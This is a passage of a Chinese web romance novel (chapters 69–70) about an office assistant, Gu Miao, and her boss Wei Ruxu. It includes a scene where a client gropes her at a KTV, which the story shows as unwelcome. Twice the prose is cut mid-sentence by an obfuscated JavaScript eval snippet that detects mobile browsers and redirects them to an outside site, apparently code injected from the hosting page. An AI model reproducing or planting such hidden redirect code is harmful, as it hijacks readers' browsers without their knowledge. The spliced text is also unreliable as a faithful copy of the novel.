戚滢滢已经激动成了一只土拨鼠,可惜场合不对不敢嚎叫,听到魏如栩发问,立刻回答:“就只有一天,十月六号。” 魏如栩冲顾妙一扬头:“看,来得及,我五号还要在公司值班呢。” 顾妙撇了撇嘴,无话可说。 随便,你的公司你说了算。 魏如栩仿佛又想起了什么:“对了,顾肖是不是放假回来?拉上他一起?人多热闹嘛!” 顾妙:“……” 不愧是领导,真会给人安排任务! “回是回,但我得问问他有没有别的安排。”顾妙看向一脸期待的戚滢滢,“顾肖是我弟,但……不敢保证哈。” 戚滢滢连连摇头:“没事没事,有你们两位大佬我已经很知足了!” 顾妙:“要是我弟也来,你还有别的男装吗?我记得你说你不太设计男装。” “有的有的,以前做过几套,都在家里摆着,提前量好尺寸,我改一下就行。”戚滢滢觉得自己好像是在做梦,毫不掩饰地捏了一下自己的脸,确认是在人间之后,露出一脸痴傻的姨母笑,自言自语道,“哇,感觉自己像是一条锦鲤。” 顾妙心累,现在的孩子真是不矜持。 69. 第六十九章 不舍 戚滢滢到办公室里给魏如栩量了全身尺寸,拿着皮尺的手激动得有点不稳,好几次把尺子掉在地上。 她个子不高,量颈围的时候费力地踮着脚,魏如栩很体贴地半蹲下来,这在他看来微不足道的小动作却把戚滢滢感动得快哭了。 看着她眼圈红红,魏如栩闷声道:“憋回去!哭的话就不跟你玩了。” “我不哭,就是兴奋。”戚滢滢盯着魏如栩的脸,“小魏总你皮肤真好,怎么这么白,羡慕你的冷白皮,是天生的还是……” 顾妙在外面听得一清二楚,发出一声嗤笑。 魏如栩无比尴尬,“咳咳”两声:“量完了吧?” “完了完了。”戚滢滢收起皮尺,上下打量着魏如栩,小眼神特锐利,像是在审视什么物件。 “看什么呢?” “看你适合什么服装。”戚滢滢认真地问,“你介意粘假发套吗?男生不戴假发,穿汉服会有点怪怪的。” “介意。”魏如栩不假思索地说,“没有戴帽子的吗——呃,应该叫冠,是吧?我不懂,你随时纠正。” “没事,我明白意思就行。”戚滢滢掏出手机,掰着图册给魏如栩看,“男装不多,就这些,老板你选吧,选中哪套我改哪套。对了,我有套明制婚礼礼服,男装是九品官服,有乌纱……” “这个……”魏如栩听到婚礼礼服,莫名就来了兴趣,正想找到图片看,谁知就听见外面顾妙插了一句嘴。 “我不穿婚服,戴上头饰脑袋沉,而且我不喜欢红色。” 许是被顾妙察觉到了小心机,魏如栩讪讪地改口:“是啊,红色太招眼了,有没有别的?你打算给顾助理穿什么?” 戚滢滢兴高采烈地说:“妙妙姐身材好,穿什么都好看,我还想着让她每两个小时换一套呢,襦裙、曲裾、唐制圆领袍——对了她还可以穿男装啊,英姿飒爽!” “唔,男装好,干净利落。”见外面顾妙没出声,许是不反对,魏如栩赶忙赞成,“再说了,你妙妙姐平日里就大大咧咧的,我怕她来不了古装仕女那个矫揉造……哦不,仪态万方,哎,我这词汇量不太行,描述不出来。” 顾妙没注意小魏总这求生欲极强的紧急转弯,她收到了顾肖拨冗回复的信息:“没问题啊!我把盛缘也拉去,她刚加入汉服社,正好让她跟你同事取取经!” 这小子字里行间透着一股兴奋劲儿,不知道是不是俩人感情渐长。 戚滢滢一想到男装,抓着手机一阵狂翻图片,递到魏如栩面前:“锦衣卫的飞鱼服怎么样?正好我有两套,一套黑色一套藏蓝,你跟妙妙姐都可以穿,有帽子给你戴,妙妙姐不用,我给她做个造型,一定超级炫酷!” 一听“飞鱼服”,魏如栩也来了精神:“行!又酷又帅,还好看!” “什么样啊?”顾妙凑过来看图片,戚滢滢把手机拿给她看。 魏如栩:“没看过《绣春刀》吗?锦衣卫穿的就是飞鱼服。戚滢滢,你连这个都有,储备量够丰富的。这衣服看着挺复杂,做起来很麻烦吧?这料子应该也挺费钱的。” 戚滢滢突然“遭到”表扬,有点不好意思:“上学的时候跟朋友一起做的。喜欢嘛,就舍得花钱,也没考虑成本的事儿。” 顾妙端详着图片,终于点头:“这衣服成,够飒。滢滢,我弟说可以来,还要拉他一个女同学过来,你hold不hold得住?” “天哪,我这是走了狗屎运了吗?”戚滢滢两手捂着脸,蹦得像只跳蚤,“谢谢你啊妙妙姐!hold得住,绝对没问题!不过……你弟介意粘假发套吗?没有硬性要求,就是为了视觉上和谐一点。” “没事,他不敢介意。”顾妙露出了一丝微妙的笑意,“就当他提前适应了。” 戚滢滢今天收获颇丰,让顾妙把顾肖的微信推给她,好交代他怎么量尺寸,然后就欢天喜地地走了。 望着戚滢滢高兴得一蹦一跳的身影,魏如栩打趣地对顾妙说:“你卖弟弟的手法很娴熟啊。” 顾妙靠在他办公桌边,冷冷瞥他一眼:“不敢当,没有你熟。你卖第一轮,我卖第二轮而已。” 魏如栩赖皮地笑了笑,看了看时间:“回家吧,今天就别装模作样加班了,改天再说。不过……你真有那么多工作没做完吗?” “当然有了!”提起工作,顾妙就一阵头疼,还是当领导好,不知民间疾苦,小魏总的发言、总结、计划都得她来写,她还要写各种报告,看各种报表,总之一切总经办的案头工作都她来搞。 而她根本就是摸着石头过河,甚至没有前辈可以请教,唯一可问的就是她小姨,而这位大神在发愁自己的前路,目前基本处于人间蒸发状态。可怜顾助理只能自己一个人蒙着头瞎碰,拿各种标准文档作参考,改来改去都不放心,常常觉得自己是个文盲,还生怕给她小魏总招黑。 个中心酸不足为外人道,况且这是本职工作,没能做好也没什么脸可抱怨,所以她张了张嘴,把话咽了回去,话题一转,问魏如栩:“戚滢滢这事儿,你干嘛凑热闹?放假在家睡觉不香吗?” 魏如栩跟她肩并肩地靠在办公桌旁边:“你不觉得戚滢滢身上有一种难得的热情和干劲吗?似乎你我、包括我们见到的很多同龄人,都没有这种冲劲儿了。为了自己的爱好和事业义无反顾,不计一切代价,这样的精神需要鼓励和支持。” 这话倒是挺实在的。顾妙反观自己,没什么爱好,也没想过为什么事情孤注一掷、奋不顾身,能平平静静过完这一生就足够了。 经济学中说过,高回报意味着高风险,可高风险并不意味着高回报。身为风险厌恶者,顾妙太渴求四平八稳的生活,她不贪心,也不想冒险。 但不代表她不羡慕这样的人。 “是啊,稀有精神和珍稀动物一样需要保护。”顾妙调侃道,“可她把最狂热的精力都投入在了与工作无关的爱好当中,你这个老板还这么支持——格局很大嘛小魏总。” 魏如栩弯了弯眼角:“身为同龄人,我钦佩她的精神,无条件支持。但作为老板,我可以让她从别的方面给予我回报。” “你想干什么?”顾妙一怔。 “我想借着这次展览考察一下她的‘生意’,如果有得做,我可以给她投资,让她注册自己的品牌。”魏如栩畅想道,“我就……当个天使什么的。” “你是说天使投资吗?”顾妙心思转动,觉得这个想法不错,但是可行性就有点一言难尽了,“戚滢滢虽然有热情,但并不太像个能创业的人,她……太感性了。” 魏如栩看着顾妙:“如果她有心想做,就会去找合适的伙伴。我当然不会白送她钱,至少她得先有个说得过去的商业计划书——况且我的钱也得从我爸那来,还得老头子点头才行。” “害,你这哪是天使,明明是个掮客。”顾妙偏头吊起眼角看他,“真正的天使是老魏总。” “天使的儿子,那不也是小天使吗?!” “呕……老板,可要点脸吧!” 顾妙和魏如栩踏上归途的时候正赶上落日,夕阳的余晖把天边染出了层次,渐变的红色配上部分已经彻底暗下来的蓝色天幕,像极了后现代油画作品,连空气中都弥漫着浪漫的气氛。 他们家住在公司西边,两个人早上迎着朝阳上班,晚上迎着夕阳回家,如果都是天气晴朗的日子,虽然偶有强光刺眼的困扰,但沐浴在绚烂的阳光中,无端也会让人觉得心情大好。 更何况喜欢的人就在身畔,自然有种岁月安稳静好的感觉。 天色已经转暗,魏如栩摘下墨镜,看了副驾驶的顾妙一眼。这丫头靠在头枕上,闭着眼睛,长长的睫毛微微颤动着,似乎疲惫得睡着了。 趁着等红绿灯,魏如栩把后座上的一条薄毯拉了过来,轻手轻脚地盖在顾妙身上。谁知道毯子刚一碰到她,她就睁开了眼睛,把魏如栩吓了一跳,仿佛他做了什么亏心事似的。 “醒了?”魏如栩掩饰尴尬,打趣道,“真把我当司机使唤了?” “我就没睡,闭目养神而已——你紧张什么?” “谁紧张了,关心下属我有什么可紧张的。” 顾妙不怀好意地笑了笑:“老板你冷白皮,脸红起来特别明显。” 魏如栩:“……” 敢情在这儿等着他呢! 魏如栩满怀良辰美景的情愫被顾妙的调侃冲散了大半,他搜肠刮肚也没想出有趣的词儿来反驳她,硬生生地转移话题:“闭目养神,那你在想什么?” 红灯转绿灯,魏如栩踩下油门,汽车稳稳向前驶去。顾妙看着那转瞬消失的一抹绿色,突然问道:“老板,你对将来有什么打算吗?” “我打算先去做个美黑。” 顾妙一脑门黑线:“……跟你说正经的呢!” 魏如栩本来也是逗她,坏笑着伸手揉了揉她的脑袋。 “我昨天没洗头,不嫌油么?”顾妙闷闷地说,抬手把被揉乱的头发捋顺。 “唔,这可真是‘揩油’了。不占你便宜,还你。”魏如栩的手越过毯子,在顾妙的肩膀上蹭了蹭。 顾妙懒得跟他计较,继续刚才的话题:“你将来还会留在嘉栩吗?” “怎么突然问这么严肃的问题?”魏如栩轻轻转着方向盘,“要跟我谈人生谈理想吗?” 顾妙望着远方:“也没什么原因,可能就是听你说想给戚滢滢投资引起来的吧,羡慕她这样有目标的人生。我就没什么目标,每天混吃等死,你呢?” “和你一样,我暂时也没有具体目标。”魏如栩淡淡地说,“不过很大概率我不会留在嘉栩。” 虽然顾妙猜了个大概,但听到他这么说的时候,心还是猛地一沉,语调不免失落:“是吗……” 魏如栩扭头看她一眼,笑道:“舍不得我?” “等老魏总身体恢复的差不多,你就要走吗?”顾妙没有回答他的问题,而是看进他的眼里,认真问道。 她的眼神中有着复杂的情愫,魏如栩能读懂其中的一种是不舍,若不是还要注意交通安全,他实在是想更加细致地去分析她现在的心情,将那些毫不掩饰的眷恋和遗憾打包带走,搁在胸口最柔软的地方珍藏。 能看到顾妙对他流露一丝心底的感情,真的太难太难了,更多时候他只敢认为顾妙对他的照顾和关爱是出于朋友间的关心,而不敢自作多情地过多揣摩她的心思。 一旦越过那个门槛,他怕他会不由自主想要更多。可他已经答应她不会做出任何改变,如果要期待两人的关系更进一步,那就只能等她采取主动。 给予顾妙足够的耐心,是魏如栩的温柔和尊重,即便这场等待可能是竹篮打水一场空。 魏如栩是替顾妙想过以后的,可他没有跟她提过。一来现在说什么都还太早,二来——也是他在这一刻突然悟到的——如果这个想法他隐藏得足够深,如果顾妙又足够喜欢他,那么将来会不会在某个时刻,她会因为不舍而克服自己的心魔,向他表示些什么? 这一点点小心机,让魏如栩觉得有点羞愧,却又充满了希望。 人总是有黑暗面的吧,他心安理得地安慰自己。 “嗯,应该是吧。我不太懂管理公司,嘉栩还是还给他比较合适,毕竟这么一大家子员工,我怕我负不起责任。”魏如栩坦白讲,这确实是他力不从心之处。 顾妙沉默着没有接话。她确实心生不舍,也突然觉得未来的生活更加索然无味。她期盼的东西本就不多,现在才知道自己能留住的更少。 本来还以为像目前这样的生活能过很久,现在看来似乎会提前结束。 等老魏总回来,高助理也会跟他一起回来,她自然要离开现在的岗位。这没什么,顾妙清晰地知道,她并不留恋总助的这份工作,她留恋的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459446|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是魏如栩。 可悲吧,明明一直在抗拒,却仍有栽进去的趋势。原来不止沉溺会让人疯狂,克制也会。 见她垂下头不说话,魏如栩担心刺激她过了头,试图弥补:“老爸没这么快回来的,他这样子估计要休息至少一年,我且得撑着呢。” 一年啊……顾妙心里说,成年人的一年,转眼就过去了。 此时此刻她突然很后悔问了这个问题,搅乱了她原本平静的心情。在此之前,她单知道自己一定会失落,却没想到会这么失落。 她其实还想问魏如栩,离开公司以后会不会离开本市,如果离开的话,是会去另一个城市,还是去国外。他将来打算做什么,如果想要自己创业的话,能不能……能不能带上她一起? 想到这里她又觉得自己过分贪心了,贪心是没有好下场的,尤其这近于恬不知耻的贪心。 不能想,不能再想,想多了就收不回来了,稀里糊涂地过下去吧。顾妙望向窗外,以最小的幅度轻轻对自己摇了摇头。 魏如栩没有看到她摇头,却看到她无意识地紧紧攥住裙子的手指,像是怕她攥疼了手一样,他不由自主地伸手过去,把她的手指轻轻打开。 顾妙一惊,回头看他,魏如栩的手似乎带电,肉眼看不到的电火花顺着血脉遍及顾妙全身,触电般的感觉令她不由地轻轻战栗。如果不是天色已暗,一定会被人发现她的脸此刻红得像个番茄。 魏如栩也知道自己这动作有点踩线,强行解释:“这么好看的裙子,都被你弄皱了。” “好好开车吧老板,不然就不是裙子皱了,咱俩人都得皱。”顾妙打起精神来调侃了一句,试图挽救车内急转直下的气氛。 如果已经进入倒数计时的话,那就更得开心过完每一天了不是吗? 日子平淡无奇地过,唯一让魏如栩挂心的仍是廖玄对顾妙那一点利用之心。不过到了周五,都平平安安无事发生,这是个好兆头,充分说明廖玄已经放弃了顾妙。 其实后来想想,顾妙总疑心魏如栩是真怕她无知无畏地送上门去,才故意夸大其词吓唬她。但不管怎么样,小魏总是为她好,别再自作聪明,乖乖听话什么的就对了。 上班的时候一天天的表面平静,实则暗流涌动,周末时光则是难得的惬意和自在。魏如栩约了社交局,仍旧打扮得像个不学好的纨绔子弟,跑出去呼朋唤友。顾妙就在家里待着,整理好工作用的各种文档后,就开始翻看各种专业书,看得趴在桌上睡了一觉,口水流了一书页,最后还是被小狼一爪子拍醒的。 这货近半个月来明显长大了不少,顾妙就有点纳闷,明明对他口粮管控得很严,尤其是那自动喂食器铁面无私,不存在私自漏粮的bug,他怎么还能像发酵似的长个子。 排除一切不可能的因素,最后结论肯定是魏如栩偷偷喂他了。顾妙决定等他回来,设个刑堂来个严刑拷打。 不过好在小狼现在是长身体的时候,还没有开始长肉,最近也没有再拉稀,看来适应得不错,打完疫苗也没有什么不正常的表现,猫生过得十分平稳。 顾妙给小狼拍了张照,百无聊赖地发了朋友圈,然后就看见魏如栩发了张角度清奇的直男蜜汁自拍,得亏他的颜很能打,怎么拍都好看。 不过……那十块钱俩的耳夹确实有点碍眼。 看到这儿顾妙灵机一动,本来还在愁送什么礼物给他,当下就决定去商场买对耳夹回来,反正挑这种东西,她一个女孩子还是不怵的。 想好便出发,临走的时候顾妙还给凌晏如打了个电话,想把她拉出去遛遛弯。谁知不小心吵到了凌同学的清梦,顾小妙被骂得大气不敢出,连说三个“对不起”,匆忙挂断,出门都感觉自己灰溜溜的。 顾妙自己戴的耳钉耳坠都是以前在网上淘的,没有一对超过三十块,不过要送她小魏总,可不好意思送太便宜的,总觉得至少得是个品牌货。 钱串子顾小妙还真是没意识到,平时她对自己那么抠抠索索,事情只要跟魏如栩有关,她就从没想过“省钱”俩字。 她去了市中心最繁华、最多大牌聚集的城市综合体,在一楼的珠宝首饰区做贼似地溜达来溜达去。只要柜姐一靠近,她就像躲避传染病似地跑开,生怕人家开口跟她搭话推荐。 就这么打游击似地浏览了一圈,顾妙有点懵了。她这才发现,好多大牌是没有男士耳夹的,而那些网上看的风骚耳夹,或者男明星同款,她根本弄不清楚都是什么潮牌,好不容易有个知道的克罗心,本市并没有专柜。 再转了一圈,她改了主意,打算送魏如栩一对袖扣。毕竟上一次见他穿正装,着实是惊为天人,让顾妙过目难忘。 比来比去,顾妙看中了一款宝格丽的纯银黑玛瑙袖扣,不到四千块的价格她能负担得起,牌子也说得过去。至于搭配什么的她就不懂了,也干脆不去琢磨那么多,反正看着也不花哨,应该算是百搭款。 买了此生第一个大牌,顾妙像拎着心尖肉一样地拎着小小包装袋走出商场,甚至舍不得把它放进她那不到一百块的斜挎包里。 天色已晚,华灯初上,城市综合体里外灯光营造出节日的气氛——各大品牌早就在为中秋国庆双假预热了。 气氛好,顾妙心情更好,想象着魏如栩收到礼物可能会露出的开心笑容,她突然找到了古代昏君们一掷千金博红颜一笑的快乐。 确实挺带劲的,难怪昏君们乐此不疲。 然而就在这时,有个无比熟悉的声音喊了她的名字。 “这不是小顾吗?” 顾妙回头一看,见廖玄和孙总站在她不远处,正看着她笑,刚刚说话的正是孙总。 她顿时觉得不妙,想要逃跑,而商场的大灯笔直地打在她身上,追光似的,搞得她无处遁形。 孙总兴奋地冲她招手:“这么巧,小顾,我们正要去KTV,你也一起来吧。” 70. 第七十章 孽缘 顾妙被大灯照着,外加上紧张,顿时起了一层薄汗,她谨记魏如栩的提醒,转瞬间就在脑子里想了无数拒绝的理由,可没有一个靠谱的。 见她一脸空白地站在原地发愣,孙总向她走了过来:“怎么了?有事?” 顾妙刚想就坡下驴,说自己跟人约了,然而廖玄笑着接口:“一个人出来逛街,能有什么事,小顾,一起来吧,上次孙总还说有机会好好跟你聊聊调酒的事儿,今天就这么恰好碰上了,真是缘分。” “……”顾妙心想,“缘你个头,这也太不地道了。” 孙总附和着说:“对啊,没事就一块来玩吧,郑助理也在,还有上回市场部的那几个,你都见过,多几个年轻人热闹点。” 他一边说,一边伸手覆住顾妙的后背,有点推着她向前走的意思。 顾妙有些无助,挖空心思想拒绝,无意间撞上了廖玄幸灾乐祸的表情。 廖玄并没有回避,顺便给了她一个意味深长的眼神,似乎在威胁她,如果敢惹得孙总不高兴,害公司丢了项目,到时候有她好看的。 现在当场撅孙总的面子的确不好,这个责任她负不起,回头要是真的比稿失败,这口锅有策划部一半也有她顾小妙一半,根本说不清楚。 于是顾妙只能硬着头皮跟孙总和廖玄往旁边的KTV里去,一路上她心不在焉“嗯啊”地敷衍着孙总的各种问题,攥着礼品袋绳子的左手出了满手汗,右手则伸进包里寻找手机,想办法给魏如栩发微信。 包间不大,看样子人也不会多,孙总说得没错,这次跟他出来的还是原班人马,顾妙端起职业微笑,跟郑助理和那几个“哥哥”打招呼。 其中一个市场部经理见了顾妙,就热情地冲她笑:“小顾,你上回调的那酒可太厉害了,我们孙总第二天都没能爬起来。” 顾妙讪讪地笑:“上回实在没轻没重,抱歉啊孙总。” 孙总大马金刀往沙发上一坐,摆了摆手:“嗐,听他瞎说。出来玩就是图个高兴,哪有什么没轻没重的。你们平时上班那么累,出来就别拘着了,再说我是那么小心眼的人嘛?那什么,小郑,帮小顾点几首歌。” 大佬发话了,坐在点歌机旁边的郑助理冲顾妙招手,顾妙只得到她身边,小声说:“姐,别给我点了,我唱歌跑调,回头再把孙总给吓着了。” 郑助理笑了笑:“没事,我随便点几个口水歌,到时候你拉大家一起唱。” 许是记着上次顾妙帮她挡酒的事儿,郑助理这回也很照顾她。 顾妙放了心,回头见孙总和廖玄正在说话,没注意搭理她,于是赶紧掏出手机,迅速给魏如栩发了个微信:“老板我遭遇廖总孙总被带到KTV来了,在游鱼阁包间。” 接着她就发了KTV的定位过去,才缓缓长出了一口气。其实这么多人在,她也不觉得会发生什么,但还是得跟魏如栩说一声,要不然等他之后知道了一定会抓狂。她可不想再惹他不高兴了。 正在茫然间,她忽然听到廖玄说:“现在年轻人真是,一个个抱着手机不撒手,要不咱们也学网上那套,把大家手机都收起来放一边,谁要看就罚酒,怎么样啊老孙?” 孙总一拍大腿:“好!咱就这么办!小郑,你负责收手机,藏起来让谁也找不着。” 顾妙:“?” 郑助理离她最近,还没等她反应过来,就不好意思地笑着把手机从她手里抽走了。 可……魏如栩还没给她回消息呢,他收到了没啊? 顾妙正在发愣,就听见孙总叫她:“小顾,点完歌了吗?” “……哦,点完了。”顾妙回头看他。 孙总冲她招招手:“过来坐过来坐,上次我被你灌倒了,这回保证不会再出丑,咱们今天这么有缘分,一定要喝个痛快!” 一听喝酒,顾妙心里“咯噔”了一下,看到茶几上放了好几打啤酒,她又稍稍安了心,只要不喝红酒洋酒应该就没事。 然而下一秒钟,车翔推门而入,手里拎着一个纸袋子,看见廖玄就说:“廖总,蓝方拿来了,您看看是不是这瓶——顾助理也在?” 顾妙刚站起来,很不情愿地往孙总那边挪,此刻也只是牵强地冲车翔一笑。她心知肚明,车翔是绝不可能在廖玄面前维护她的,今晚酒场大战,她只能靠自己。 郑助理走到车翔跟前,冲他伸手:“抱歉,两个大佬发话了,今天要收手机。” 车翔的注意力还在顾妙身上,被郑助理一声叫回了魂,笑了笑把手机递给她,然后把纸袋里的蓝方拿出来放在茶几上。 廖玄瞟了一眼:“嗯,就是这个。” 孙总:“好啊,小顾——快过来啊,几步路走这么慢——你不是会调酒吗,要不要今天露一手?” 于廖玄来说,一瓶蓝方算不上什么,可对顾妙而言,已经是她舍不得消费的奢侈品了。 她拖拖拉拉走到孙总旁边,露出胆怯的笑容:“我可不敢对这千把块钱的酒下手,太糟蹋好东西。威士忌适合干喝,我去给您要杯冰水……” 顾妙正要起身,就被孙总一把拉住胳膊拽了回去:“诶,不用你,坐下。那谁,小郑你去。” 郑助理清脆地答应了一声,拉开门出了包间。顾妙看着她的背影,无端生出一种绝望的情绪。 顾小妙,别怕,不会有事的,这又不是龙潭虎穴,一定没事! 她如是安慰自己。 顾妙勉勉强强坐在孙总身边,手腕还被他拉着,这人掌心热乎乎的还有点粘腻的手汗,触感令人十分不舒服。 她正想着怎么挣脱这只手,突然那手就松开了,孙总好奇地抓过她手里的纸袋:“这是什么啊?看你一直宝贝似地捏着不放手,我能看看嘛?” 顾妙:“……” 我特么的能说不行吗?! 廖玄坐在拐角那边,也饶有兴趣地附和说:“小顾,看你平时挺朴素的,原来也喜欢奢侈品?买了什么好东西,跟大家分享分享呗。” 话都说到这个地步了,她还能怎么样,护着不给看也太小家子气了。 顾妙咬了咬后槽牙,挤出一脸无所谓:“随便看随便看。” 打开盒子看见是副袖扣,孙总脸上绽开了八卦的笑容:“哟,坏了,老廖,我好像发现了什么秘密,这是送给男朋友的吧?嗯?小顾?” 猜是送给男朋友的你还摸? 顾妙满心怨毒,恨不能把孙总那摸在袖扣上、肥肠一样泛着油光的手指头挨个儿给剁了。 “不是,是别人让我帮忙买的,我哪舍得花这么多钱买这种东西。”迎着廖玄意味深长的目光,顾妙脸不红心不跳地撒谎。 也不算撒谎了,她打算一会儿出去就去专柜换一副,这对已经被孙总玷污了,脏了,不能给她小魏总用。 “既然这样,我挺喜欢这一款的,要不你让给我吧?”孙总笑容猥琐,“一会儿你再去买一副,我现在就转给你钱。小郑呢?把我手机拿过来——哟,还没回来,那等一会儿我一定转给你,怎么样?” 顾妙:“……” 什么啊?!看着好就留下了,打劫吗?一会儿万一你不认账,我找谁哭去?我就是再狗胆包天,也不敢追着甲方爸爸屁股后面要钱啊! 她一脑门凌乱,脸上的表情几乎是空白的,就坐在廖玄身边的车翔看来,觉得此刻的她真是可爱的要命。 要不然不管什么年龄段的男人,都喜欢逗可爱的女孩子呢,光看她们这上当之后茫然无措的样子,就足够勾起内心中某种隐秘的快感。 可想起来那天的坦白局,车翔又是一阵心痛。唉,这么好的人,偏偏得不到,实在是浪费。 孙总看目的已达成,哈哈大笑起来,把袖扣盒子盖上,放回包装袋:“逗你玩呢,我还能真抢你的?快收起来吧,别一会儿弄丢了。” 顾妙如释重负,此刻的礼品袋在她眼里已经贬值了,也就不再像之前那么宝贝,折了一下便塞进包里。 不料这还没完,孙总一伸手把她的挎包摘了下来:“包是租来的吗,舍不得放手。车翔是吧,帮她挂起来。” 顾妙眼睁睁地看着自己的包被人拿走,就像被拿走了她最后的倔强。车翔眼疾手快接了过去,给她挂在了门口的衣帽架上。 孙总拿了两瓶打开的啤酒,递给顾妙一瓶:“先喝点啤的,热热身,车翔,老廖,唱起来啊,别冷场,还有你们几个,平时不停能闹的吗?可别因为有美女在就不好意思啊!” 廖玄冲车翔一使眼色,车翔会意,跟那几个市场经理一番谦让,成功地让其中一个戴眼镜的先拿起了话筒。 他清清嗓子:“那我就打头阵,给大家献丑了!” 眼镜哥点了首非常动感的歌,车翔贴心地打开了屋顶的迪斯科灯,绚丽的彩光在屋里晃来转去,搞得人有点眼晕。 顾妙手里攥着酒瓶,满脑子想的都是魏如栩到底看没看见她微信,以及怎么才能把手机拿过来看看,突然一张大手盖在了她外侧的肩膀,那热度透过薄薄的衣料直达皮肤,顾妙顿时浑身一凛,僵成了一块木板。 她不敢扭头,因为孙总整个人靠了过来,动作还没有很过分,但已经超过了安全距离,足以让她觉得非常不适。 “坐近点,太吵了,听不清你说话。”孙总得寸进尺,几乎凑在了她耳边,仿佛是要跟她咬耳朵。 这感觉跟前几天魏如栩凑过来的时候完全不一样,顾妙此刻只觉得恶心,就是非常恶心,想拉着他的脚腕把他狠劲儿掼在地上,再狠狠踩上几脚,最后再用土埋得他永远见不了天日。 她尽量向孙总侧身,避免跟他并排贴在一起,用角度隔出距离,然后拿起手里的酒瓶狠狠地跟他碰了一下,大声吼道:“孙总,第一瓶干了?” 见小姑娘在喝酒上都不扭捏,孙总大老爷们更不好犯怂,豪爽地举起瓶子:“干!” 说罢他就扬脖对瓶吹了起来,顾妙也不示弱,“咕咚咕咚”灌了一瓶下肚。 两人刚放下瓶子,包间的门就被推开了,顾妙满怀欣喜地看过去,接着脸上便泛起了不加掩饰的失望,幸亏没人看见——来的不是魏如栩,是出去拿冰水的郑助理,也不知道她是不是迷路了,这半天才回来。 郑助理身后跟着端着托盘的服务生,托盘上放着一大罐冰、几个水杯和几个威士忌杯。KTV基本都是谢绝自带酒水,不过廖玄跟这家的大区经理很熟,又是这里的常客,所以没人管他。 孙总:“总算来了!来,给大家都倒上。” 顾妙抢着说:“我来吧!” 她赶紧起身抓过蓝方酒瓶,小心翼翼地给每个杯子都倒了个杯底。之所以抢着倒酒就是怕孙总装傻,给她倒个满杯还让她干了,那可就真完犊子了。 倒完酒,顾妙又给孙总装了杯冰水,恭恭敬敬端到他面前:“孙总,先拿冰水刺激一下味蕾。” “小丫头,讲究倒是挺多,跟你们廖总一样,是个精致人儿。”孙总笑眯眯地端起杯子喝了一口。 顾妙双手接过杯子放下,再奉上那杯威士忌:“好酒都得细细品,可不能牛饮,更不好在酒里加冰,破坏酒的味道。” 眼镜哥的歌唱完了,算是热了场,其他人也就不再拘束,你一首我一首地唱了起来。好在之后大家唱的都是慢歌,没那么吵,顾妙心想这下他总没有借口再往自己耳边凑了。 谁知顾小妙还是太单纯了,过低地估计了油腻型中老年男子的猥琐之心。 孙总喝了一口威士忌就把杯子放下,往旁边一伸腿,小腿便紧紧贴着顾妙的小腿,一手则直接放在了顾妙的大腿上——这可以解释为一个无心的动作,因为他只是贴着、放着,并没有动。 于孙总来说,算是个明确的试探信号。如果顾妙没有表现出明显的介意,那他一定会更进一步试探她的底线。 他笑着看顾妙:“光劝我喝,你不喝?你这丫头鬼得很啊!” 顾妙不用喝酒,就已经想吐了,她觉得此刻自己被孙总触碰的那条腿火烧火燎的,恨不得冲出去找块钢丝球搓掉一层皮。这会儿她极端庆幸今天出来穿的是牛仔裤而不是裙子。 本以为当花瓶她能hold住,这个程度的揩油她也可以忍,就当挤地铁的时候被迫人贴人。可直到现在顾妙才明白,想象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459447|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和事实是不一样的,那种吃了苍蝇一般的反胃和憎恶就像鞋中混进的石子、偏头痛发作时照过来的强光,存在感强得令人无法回避,也无法压抑,是完全的生理+心理的排斥。 她“嚯”地站起身,抖落孙总的手和小腿,端起酒杯,将那一个瓶底的威士忌一饮而尽。 酒是好酒,倒也不会伤身,这突如其来的辛辣还让她整个人精神一震。喝完这点酒,她把杯子“咣”地往桌上一放,冲着孙总笑,大声说:“我喝啦,不算耍赖吧!那我现在唱歌去啦?!” 还没等孙总发话,顾妙跨过一排小腿,挤到了点歌机旁,对郑助理说:“姐姐,我要切歌,再多帮我点几首,我要独唱。” 郑助理:“你不是怕跑调吗?” “刚才有点拘谨,现在酒壮怂人胆,不怕不怕啦!”顾妙手指在点歌机上滑动,翻找着她会唱的歌,心里却眼泪汪汪地想,“老板,你什么时候才来救我?” 此刻魏如栩刚跟他的一帮狐朋狗友打完台球,他掏出手机来看,发现这平时震个不停的东西今天一反常态地平静,信号栏里显示的是“edge”。 “老铁,你选这地儿太烂了吧,4G不敢指望,连3G都没有?”魏如栩盯着微信界面的“连接中”,皱起眉。 他那头发染得像只金刚鹦鹉的朋友拎着杆子正在找角度,叼着烟卷口齿不清地说:“谁让你不加wifi呢。” “我流量够用干嘛加wifi,谁知道这儿网这么烂。”魏如栩无端有些烦躁,“再说wifi用得人多也不快。不行,万一有事别人都找不着我,我上去试试。” 魏如栩跟朋友来的这家台球厅在地下,信号不好倒也正常。本来他也不想来这儿,厅里不禁烟,乌烟瘴气得让人喘气都困难。可他朋友觉得这里有古早台球厅的感觉,非要在这儿打。魏如栩出门就是为了交际,也不好太过于讲究,只好随了他去。 出了台球厅,秋末的风灌了满肺,把他肺里的二手烟全都淘换了出来,魏如栩这才觉得呼吸顺畅了许多。 不仅呼吸顺畅了,信号也顺畅了,微信一股脑地涌了进来,界面上一串红色数字标记,看得他脑袋疼。 